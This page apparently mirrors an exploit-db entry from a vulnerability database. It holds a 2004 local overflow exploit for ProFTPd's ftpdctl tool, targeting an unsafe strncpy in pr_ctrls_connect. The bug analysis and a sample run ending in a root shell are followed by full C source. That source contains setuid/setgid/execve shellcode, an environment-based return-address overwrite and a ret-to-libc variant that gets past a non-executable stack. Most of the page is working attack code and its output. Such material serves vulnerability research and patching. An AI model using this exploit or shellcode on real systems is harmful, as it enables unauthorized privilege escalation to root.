Lucene search
K

ProFTPd - 'ftpdctl' 'pr_ctrls_connect' Local Overflow

🗓️ 13 Aug 2004 00:00:00Reported by pi3Type 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 120 Views

Local overflow vulnerability in ProFTPd due to improper use of strncpy in pr_ctrls_connect function.

Code
/*
 * This is simple local exploit (Proof of Concept?) for local bug in ProFTPd
 * not in default options (must be configured with option --enable-ctrls).
 * Bug exist in func
tion pr_ctrls_connect() in file "src/ctrls.c", look:
 *
 * "src/ctrls.c"
 * int pr_ctrls_connect(const char *socket_file) {
 *   ...
 *   struct sockaddr_un cl_sock, ctrl_sock;
 *
 *   ...
 *   ...
 *   memset(&ctrl_sock, 0, sizeof(ctrl_sock));
 *   ...
 *   ...
 *   strncpy(ctrl_sock.sun_path, socket_file, strlen(socket_file));
 *   ...
 *   ...
 * }
 *
 * How we can saw there is bad call for function strncpy(). Now look here
 * how look structure sockaddr_un:
 *
 * "/usr/include/X11/Xos.h"
 * ...
 * ...
 * #define X_NO_SYS_UN 1
 *
 * struct sockaddr_un {
 *         short   sun_family;
 *         char    sun_path[108];
 * };
 * #endif
 * ...
 * ...
 *
 * Hm more interesting... but what the fuck is socket_file?
 * Look here:
 *
 * "src/ftpdctl.c"
 * int main(int argc, char *argv[]) {
 *   ...
 *   char *socket_file = RUN_DIR "/proftpd.sock";
 *   ...
 *
 *   ...
 *   ...
 *   while ((optc = getopt(argc, argv, cmdopts)) != -1) {
 *     switch (optc) {
 *       ...
 *       ...
 *       case 's':
 *         if (*optarg != '/') {
 *           fprintf(stderr, "%s: alternate socket path must be an absolute "
 *             "path\n", program);
 *           return 1;
 *         }
 *
 *         socket_file = optarg;
 *         break;
 *       ...
 *       ...
 *   }
 *   ...
 *   ...
 *   if ((sockfd = pr_ctrls_connect(socket_file)) < 0) {
 *     fprintf(stderr, "%s: error contacting server: %s\n", program,
 *       strerror(errno));
 *     exit(1);
 *   }
 *   ...
 *   ...
 * }
 *
 * Ok... so we can control for strlen(socket_file) - third argument for strncpy()
 * and what bytes will be copy to destiny array sa we can do overflow.
 * Global call to vulnerability function who have bad call for strncpy() is
 * in the same function where we have control with socket_file.
 *
 * Ok know look for how work simple local PoC sploit:
 *
 * root@darkstar:~# ./p
 *
 *         ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...
 *
 *         Ussage:
 *         [+] ./p [options]
 *
 *             -? <this help screen>
 *             -s choose a system of sploiting:
 *                    1 - sploiting by using environment
 *                    2 - PoC bypass non-exec stack (ret-to-libc)
 *             -o <offset>
 *             -p PATH
 *
 * root@darkstar:~#
 *
 * Let's run some option and look wheter it's work:
 *
 * root@darkstar:~# ./p -s 1
 *
 *         ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...
 *
 *         [+] Bulding buffors!
 *         [+] Using adres 0xbfffee01
 *
 * Executing the vuln program - /usr/local/bin/ftpdctl
 *
 * sh-2.05# exit
 * exit
 * root@darkstar:~#
 *
 * Ok, this option work good. What about second option? 
 * 
 * root@darkstar:~# ./p -s 2                                                  
 *                                                                            
 *         ...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...           
 *                                                                            
 *         [+] Bulding buffors!                                               
 *         [+] Using LIBC_SYSTEM adres 0x40096870                             
 *         [+] Using LIBC_NEXT__ adres 0x41414141                             
 *         [+] Using "/BIN/SH"   adres 0xbfffee01                             
 *                                                                            
 * Executing the vuln program - /usr/local/bin/ftpdctl                        
 *                                                                            
 * sh-2.05# exit                                                              
 * exit                                                                       
 * Segmentation fault (core dumped)                                           
 * root@darkstar:~# gdb -q ftpdctl core                                       
 * (no debugging symbols found)...                                                 
 * Core was generated by `/usr/local/bin/ftpdctl -s /AAAAAAAAAAAAAAAAAAAAAAAA
 * AAAAAAAAAAAAAAAAAAAAAAAAAAAA'.                                             
 * Program terminated with signal 11, Segmentation fault.                     
 * Reading symbols from /lib/libcrypt.so.1...done.                            
 * Loaded symbols for /lib/libcrypt.so.1                                      
 * Reading symbols from /lib/libc.so.6...done.                                
 * Loaded symbols for /lib/libc.so.6                                          
 * Reading symbols from /lib/ld-linux.so.2...done.                            
 * Loaded symbols for /lib/ld-linux.so.2                                      
 * #0  0x41414141 in ?? ()                                                    
 * (gdb) x/40x 0xbfffee01                                                     
 * 0xbfffee01:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee11:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee21:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee31:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee41:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee51:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee61:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee71:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee81:     0x60606060      0x60606060      0x60606060      0x60606060 
 * 0xbfffee91:     0x60606060      0x60606060      0x60606060      0x60606060 
 * (gdb) q                                                                    
 * root@darkstar:~#                                                           
 *                                                                            
 * 0x60 is in ASCII array char '`'.
 *                                                                            
 * And that's all... Thanks for your expensive time to read this shit.
 * 
 * BIG greetz for appelast!
 * Best regards pi3 (pi3ki31ny).
 * 
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "/usr/local/bin/ftpdctl"
#define BUFS 229

#define LIBC_SYSTEM 0x40096870
#define LIBC_NEXT__ 0x41414141

/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */

char shellcode[] = 
  
/*    write() for stdout - monitor string -=[ www.pi3.int.pl ] =-    */
                   /*
                   "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68\x3a"
                   "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20\x5d"
                   "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69\x68"
                   "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68\x3a\x3a"
                   "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04\xcd"
                   "\x80"
		   */

/*    setuid(0)    */
  
                   "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"

/*    setgid(0)    */

                   "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"

/*    exec /bin/sh    */

                   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                   "\x80"

/*    exit(0)    */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(void) {
//long ret_ad(char *a1, char *a2) {
//   return (0xbffffffa-strlen(a1)-strlen(a2));
     return 0xbfffee01;
}

int ussage(char *arg) {
   
   printf("\n\t...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...\n");
   printf("\n\tUssage:\n\t[+] %s [options]\n
	    -? <this help screen>
	    -s choose a system of sploiting:
	           1 - sploiting by using environment
		   2 - PoC bypass non-exec stack (ret-to-libc)
	    -o <offset>
	    -p PATH\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {
   
   long ret, *buf_addr;
   static char *sh[0x02];
   char envp[8196], *buf, *path=PATH;
   int i, wybor=0, opt, offset=0;
   FILE *fp;
   
   while((opt = getopt(argc,argv,"p:o:s:?")) != -1) {
	 switch(opt) {
	 
	  case 's':
	  
            if (atoi(optarg) > 2 || atoi(optarg) < 1) {
               printf("Stupid!\n");
	       exit(-1);
	    }
	    
	    wybor=atoi(optarg);
	    break;
	    
	  case 'o':

	    offset=atoi(optarg);
	    break;
	    
	  case 'p':
	    
	    path=optarg;
	    break;
	    
	  case '?':
	  default:
	    
	    ussage(argv[0]);
	    break;
	 }
   }
   
   if ( (fp=fopen(path,"r"))==NULL) {
      printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
      ussage(argv[0]);
   } fclose(fp);
   
   if (!(buf=(char*)malloc(BUFS))) {
      printf("\nI can\'t locate memory! - buf\n");
      exit(-1);
   }

   if (wybor==0)
     ussage(argv[0]);
   
   if (wybor==1) {
      
      printf("\n\t...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");
      ret=ret_ad(/*shellcode,path*/)-offset;
      printf("\t[+] Using adres 0x%x\n",ret);
      strcpy(buf,"/A");
      buf_addr=(long*)&buf[2];
      for (i=0x00;i<BUFS-2;i+=0x04) {
	 *(buf_addr++) = ret;
      }
      memset(envp,0x90,sizeof(envp));
      for (i=0x00; i<strlen(shellcode); i++)
	envp[8196-strlen(shellcode)+i] = shellcode[i];
      sh[0x00]=envp;
      sh[0x01]=NULL;
      printf("\nExecuting the vuln program - %s\n\n",path);
      execle(path,path,"-s",buf,0,sh);
      
   } else if (wybor==2) {

      printf("\n\t...::: -=[ PoC for ftpdctl by pi3 (pi3ki31ny) ]=- :::...\n");
      printf("\n\t[+] Bulding buffors!\n");
      printf("\t[+] Using LIBC_SYSTEM adres 0x%x\n",LIBC_SYSTEM);
      printf("\t[+] Using LIBC_NEXT__ adres 0x%x\n",LIBC_NEXT__);
      printf("\t[+] Using \"/BIN/SH\"   adres 0x%x\n",ret_ad());
      bzero(buf,sizeof(buf));
      strcpy(buf,"/");
      for (i=0x00;i<225;i++) {
        buf[1+i]=0x41;
      }
      buf_addr=(long*)&buf[226];
      *(buf_addr++) = LIBC_SYSTEM;
      *(buf_addr++) = LIBC_NEXT__;
      *(buf_addr++) = ret_ad();
      memset(envp,'`',sizeof(envp));
      strcpy(&envp[8196-strlen("/bin/sh")-1],"/bin/sh");
      sh[0x00]=envp;
      sh[0x01]=NULL;
      printf("\nExecuting the vuln program - %s\n\n",path);
      execle(path,path,"-s",buf,0,sh);
   }
   return 0;
}




// milw0rm.com [2004-08-13]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation